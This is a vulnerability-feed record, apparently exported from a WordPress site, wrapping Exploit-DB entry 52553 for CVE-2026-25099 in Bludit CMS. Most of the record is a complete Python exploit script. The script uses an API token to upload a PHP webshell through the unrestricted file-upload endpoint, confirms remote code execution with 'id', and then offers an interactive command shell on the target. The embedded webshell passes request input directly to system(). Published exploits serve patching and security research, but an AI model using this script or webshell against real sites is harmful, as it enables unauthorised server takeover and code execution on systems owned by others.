{“lastseen”:”2026-05-07T15:27:58″,”description”:”Exploit Title: Bludit CMS 3.18.4 – RCE Date: 2026-03-28 Exploit Author: Yahia Hamza https:\/\/yh.do Vendor Homepage: https:\/\/www.bludit.com\/ Software Link: https:\/\/github.com\/bludit\/bludit\/archive\/refs\/tags\/3.18.2.zip Version: Bludit . The uploadFile…”,”published”:”2026-05-07T00:00:00″,”modified”:”2026-05-07T00:00:00″,”type”:”exploitdb”,”title”:”Bludit CMS 3.18.4 – RCE”,”source”:””,”references”:””,”id”:”EDB-ID:52553″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-25099″],”sourceData”:”# Exploit Title: Bludit CMS 3.18.4 – RCE\\r\\n# Date: 2026-03-28\\r\\n# Exploit Author: Yahia Hamza (https:\/\/yh.do)\\r\\n# Vendor Homepage: https:\/\/www.bludit.com\/\\r\\n# Software Link: https:\/\/github.com\/bludit\/bludit\/archive\/refs\/tags\/3.18.2.zip\\r\\n# Version: Bludit \\u003c 3.18.4\\r\\n# Tested on: Ubuntu 24.04 LTS \/ Apache 2.4 \/ PHP 8.3\\r\\n# CVE: CVE-2026-25099\\r\\n#\\r\\n# Description:\\r\\n# Bludit CMS API plugin allows an authenticated user with a valid API token\\r\\n# to upload files of any type and extension via POST \/api\/files\/\\u003cpage-key\\u003e.\\r\\n# The uploadFile() function performs no file extension or content validation,\\r\\n# allowing upload of PHP webshells that execute as www-data.\\r\\n#\\r\\n# The API token is generated when the API plugin is activated and is visible\\r\\n# to users with admin panel access. Tokens may also be exposed through\\r\\n# misconfiguration, log files, or other application vulnerabilities.\\r\\n#\\r\\n# Fixed in Bludit 3.18.4.\\r\\n#\\r\\n# Usage:\\r\\n# python3 CVE-2026-25099.py -u http:\/\/target -t API_TOKEN\\r\\n# python3 CVE-2026-25099.py -u http:\/\/target -t API_TOKEN -c \\”id\\”\\r\\n\\r\\nimport argparse\\r\\nimport requests\\r\\nimport sys\\r\\nimport random\\r\\nimport string\\r\\n\\r\\n\\r\\ndef get_page_key(base_url, token):\\r\\n \\”\\”\\”Retrieve a valid page key from the Bludit API.\\”\\”\\”\\r\\n try:\\r\\n r = requests.get(\\r\\n f\\”{base_url}\/api\/pages\\”,\\r\\n params={\\”token\\”: token},\\r\\n timeout=10\\r\\n )\\r\\n if r.status_code == 200:\\r\\n data = r.json()\\r\\n if data.get(\\”data\\”) and len(data[\\”data\\”]) \\u003e 0:\\r\\n return data[\\”data\\”][0][\\”key\\”]\\r\\n except requests.RequestException as e:\\r\\n print(f\\”[-] Connection error: {e}\\”)\\r\\n return None\\r\\n\\r\\n\\r\\ndef upload_shell(base_url, token, page_key):\\r\\n \\”\\”\\”Upload a PHP webshell via the unrestricted file upload endpoint.\\”\\”\\”\\r\\n shell_name = \\”\\”.join(random.choices(string.ascii_lowercase, k=8)) + \\”.php\\”\\r\\n shell_content = ‘\\u003c?php if(isset($_REQUEST[\\”cmd\\”])){echo \\”\\u003cpre\\u003e\\”;system($_REQUEST[\\”cmd\\”]);echo \\”\\u003c\/pre\\u003e\\”;} ?\\u003e’\\r\\n\\r\\n try:\\r\\n r = requests.post(\\r\\n f\\”{base_url}\/api\/files\/{page_key}\\”,\\r\\n data={\\”token\\”: token},\\r\\n files={\\”file\\”: (shell_name, shell_content, \\”application\/x-php\\”)},\\r\\n timeout=10\\r\\n )\\r\\n if r.status_code == 200:\\r\\n data = r.json()\\r\\n if data.get(\\”status\\”) == \\”0\\”:\\r\\n shell_url = f\\”{base_url}\/bl-content\/uploads\/pages\/{page_key}\/{shell_name}\\”\\r\\n return shell_url, shell_name\\r\\n except requests.RequestException as e:\\r\\n print(f\\”[-] Upload error: {e}\\”)\\r\\n return None, None\\r\\n\\r\\n\\r\\ndef execute_command(shell_url, cmd):\\r\\n \\”\\”\\”Execute a command via the uploaded webshell.\\”\\”\\”\\r\\n try:\\r\\n r = requests.get(shell_url, params={\\”cmd\\”: cmd}, timeout=10)\\r\\n if r.status_code == 200 and \\”\\u003cpre\\u003e\\” in r.text:\\r\\n return r.text.split(\\”\\u003cpre\\u003e\\”)[1].split(\\”\\u003c\/pre\\u003e\\”)[0].strip()\\r\\n except requests.RequestException:\\r\\n pass\\r\\n return None\\r\\n\\r\\n\\r\\ndef main():\\r\\n parser = argparse.ArgumentParser(\\r\\n description=\\”CVE-2026-25099 – Bludit CMS API Unrestricted File Upload to RCE\\”\\r\\n )\\r\\n parser.add_argument(\\”-u\\”, \\”–url\\”, required=True, help=\\”Target URL (e.g., http:\/\/target)\\”)\\r\\n parser.add_argument(\\”-t\\”, \\”–token\\”, required=True, help=\\”Bludit API token\\”)\\r\\n parser.add_argument(\\”-c\\”, \\”–command\\”, help=\\”Command to execute (omit for interactive shell)\\”)\\r\\n args = parser.parse_args()\\r\\n\\r\\n base_url = args.url.rstrip(\\”\/\\”)\\r\\n\\r\\n print(\\”[*] CVE-2026-25099 – Bludit CMS API File Upload to RCE\\”)\\r\\n print(f\\”[*] Target: {base_url}\\”)\\r\\n\\r\\n # Step 1: Get page key\\r\\n print(\\”[*] Retrieving page key…\\”)\\r\\n page_key = get_page_key(base_url, args.token)\\r\\n if not page_key:\\r\\n sys.exit(\\”[-] Failed to retrieve page key. Check URL and token.\\”)\\r\\n print(f\\”[+] Page key: {page_key}\\”)\\r\\n\\r\\n # Step 2: Upload webshell\\r\\n print(\\”[*] Uploading webshell…\\”)\\r\\n shell_url, shell_name = upload_shell(base_url, args.token, page_key)\\r\\n if not shell_url:\\r\\n sys.exit(\\”[-] Upload failed.\\”)\\r\\n print(f\\”[+] Shell uploaded: {shell_url}\\”)\\r\\n\\r\\n # Step 3: Verify RCE\\r\\n print(\\”[*] Verifying RCE…\\”)\\r\\n test = execute_command(shell_url, \\”id\\”)\\r\\n if not test:\\r\\n sys.exit(\\”[-] RCE verification failed. Shell may not be accessible.\\”)\\r\\n print(f\\”[+] RCE confirmed: {test}\\”)\\r\\n\\r\\n # Step 4: Execute command or interactive shell\\r\\n if args.command:\\r\\n output = execute_command(shell_url, args.command)\\r\\n if output:\\r\\n print(output)\\r\\n else:\\r\\n print(\\”\\\\n[+] Interactive shell (type ‘exit’ to quit)\\\\n\\”)\\r\\n while True:\\r\\n try:\\r\\n cmd = input(\\”shell\\u003e \\”)\\r\\n if cmd.strip().lower() in (\\”exit\\”, \\”quit\\”):\\r\\n break\\r\\n if not cmd.strip():\\r\\n continue\\r\\n output = execute_command(shell_url, cmd)\\r\\n if output:\\r\\n print(output)\\r\\n else:\\r\\n print(\\”(no output)\\”)\\r\\n except (KeyboardInterrupt, EOFError):\\r\\n break\\r\\n\\r\\n print(f\\”\\\\n[*] Shell: {shell_url}\\”)\\r\\n\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52553″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52553″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-07T15:27:58″,”description”:”Exploit Title: Bludit CMS 3.18.4 – RCE Date: 2026-03-28 Exploit Author: Yahia Hamza https:\/\/yh.do Vendor Homepage: https:\/\/www.bludit.com\/ Software Link: https:\/\/github.com\/bludit\/bludit\/archive\/refs\/tags\/3.18.2.zip Version: Bludit . The uploadFile…”,”published”:”2026-05-07T00:00:00″,”modified”:”2026-05-07T00:00:00″,”type”:”exploitdb”,”title”:”Bludit…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,40,15,13,7,11,5],"class_list":["post-52107","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n